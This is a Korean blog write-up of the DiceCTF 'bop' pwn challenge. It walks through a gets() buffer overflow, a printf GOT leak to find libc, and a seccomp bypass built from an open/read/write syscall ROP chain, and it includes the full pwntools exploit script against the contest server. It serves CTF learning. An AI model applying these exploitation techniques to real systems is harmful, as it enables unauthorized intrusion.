노션에만 정리했던 CTF Write-up을 좀 옮겨 적으려 한다.
참여했던 모든 CTF는 올릴 수 없겠지만 일단 노션에 적어놓은 것들은 다 옮기려고 한다.
Dice CTF는 무려 2월달꺼..!
[PWN] bop
- 보호기법
- No Canary
- No PIE
바이너리 분석
- stripped 된 바이너리여서 심볼 x
- very simple binary - Buffer overflow by gets()
- But complicate problem because it simple :(
- 처음에는 간단한 ROP chaining 문제인줄 알았다… 차차 설명 ㄱㄱ
익스플로잇
- 출력함수가 printf 밖에 없기 때문에 printf로 got leak 필요함
- 그 후 ROP chaining
삽질 과정
payload = b"A" * 32 + b"B" * 8 + p64(ret) + p64(poprdi) + p64(e.got["printf"]) + p64(e.plt["printf"]) + p64(ret) + p64(main)
payload = b"A" * 32 + b"B" * 8 + p64(ret) + p64(poprdi) + p64(binsh) + p64(ret) + p64(system)
- printf@got를 printf@plt의 인자로 넣어서 got주소를 릭하여 libc_base를 구하는 것까지는 엄청 빠르게 되었다.
- 하지만 system(”/bin/sh”)를 호출하면 바로 SIGSYS 오류 뿜으면서 chaining이 안되었다.
- 처음에는 스택 align문제인 줄 알고 ret가젯을 사이사이 끼워줬지만 해결이 안되었다.
- 계속 삽질하다가 seccomp가 걸려있는 것을 확인…ㅠㅠ
- read, write, open, exit 시스템 콜 빼고는 모두 block하는 것을 알 수 있다.
- 일반적인 ROP chaining이 아닌 syscall chain 필요.
- But, gadget들이 부족했음
0x00000000004013d3 : pop rdi ; ret
0x00000000004013d1 : pop rsi ; pop r15 ; ret
- 바이너리 내에는 pop rdi, pop rsi 가젯밖에 존재하지 않았다.
- pop rdx, syscall; ret 가젯이 존재 하지 않아서 libc에 있는 가젯을 써야했다.
- pop rdx 가젯은 바로 구했지만 syscall 가젯이 ROPgadget으로 찾아지지 않았다.
- 그래서 삽질을 거의 1시간 가까이 했다.
objdump를 통한 가젯 찾기
objdump -d "/lib/x86_64-linux-gnu/libc-2.31.so" | grep -A 1 "syscall" > gadget.txt
- 아무리 삽질해도 문제가 안풀림 → syscall; ret 가젯이 무조건 필요하다는 것을 깨달음
- libc에 있는 open, read, write를 인자를 맞춰 호출해도 내부적으로 다른 system call을 사용해서 바이너리가 터져버림
- 위 명령어를 사용하면 syscall instruction 다음 1개의 instruction까지 파싱해줌
- ROPgadget으로는 도저히 안 찾아지던 syscall ; ret; 가젯 획득!!
익스 코드
- 필요한 가젯을 모두 획득했으므로 syscall table 참고해서 인자 맞춰주면서 open, read, write순서대로 호출해주면 flag 획득 가능
- gets(bss영역) ← ./flag.txt 문자열 bss 영역에 저장
- open("./flag.txt", 0, 0)
- read(3, bss, 0x100)
- write(1, bss, 0x100)
from pwn import *
#p = process("./bop")
p = remote("mc.ax", 30284)
e = ELF("./bop")
libc = e.libc
context.log_level = "debug"
context.terminal = ["tmux", "splitw", "-h"]
poprdi = 0x00000000004013d3
poprsi = 0x00000000004013d1
libc_poprdx = 0x0000000000142c92
main = 0x004012f9
gets = 0x00401352
ret = 0x000000000040101a
bss = 0x4040b0
libc_syscall = 0x13a5ab
libc_poprax = 0x0000000000036174
#gdb.attach(p)
payload = b"A" * 32 + b"B" * 8 + p64(ret) + p64(poprdi) + p64(e.got["printf"]) + p64(e.plt["printf"]) + p64(ret) + p64(main)
p.sendlineafter("? ", payload)
printf_got = p.recvn(6)
printf_got = u64(printf_got.ljust(8, b"\x00"))
libc_base = printf_got - libc.symbols["printf"]
ld_base = libc_base + 0x21f000
print(b"libc_base: ", hex(libc_base))
syscall = libc_base + libc_syscall
#syscall = 0xffffffffff600007
poprdx = libc_base + libc_poprdx
poprax = libc_base + libc_poprax
print(b"printf_got: ", hex(printf_got))
payload = b"A" * 32 + b"B" * 8 + p64(poprdi) + p64(bss) + p64(e.plt["gets"]) + p64(main)
p.sendlineafter(b"? ", payload)
p.sendline(b"./flag.txt\x00")
payload = b"A" * 32 + b"B" * 8 + p64(poprax) + p64(2) + p64(poprdi) + p64(bss) + p64(poprsi) + p64(0) + p64(0) + p64(poprdx) + p64(0) + p64(ret) + p64(syscall)
payload += p64(poprax) + p64(0) + p64(poprdi) + p64(3) + p64(poprsi) + p64(bss) + p64(0) + p64(poprdx) + p64(0x100) + p64(syscall)
payload += p64(poprax) + p64(1) + p64(poprdi) + p64(1) + p64(poprsi) + p64(bss) + p64(0) + p64(poprdx) + p64(0x100) + p64(syscall)
p.sendlineafter(b"? ", payload)
p.interactive()
https://ctftime.org/event/1838
'CTF' 카테고리의 다른 글
DEFCON 31 Qual (0) | 2023.07.03 |
---|---|
Plaid CTF 2023 (0) | 2023.07.03 |
San Diego CTF 2022 Write-Up (0) | 2022.05.09 |
Patriot CTF 2022 write-up (0) | 2022.05.01 |
24회 해킹 캠프 CTF write-up (0) | 2022.02.20 |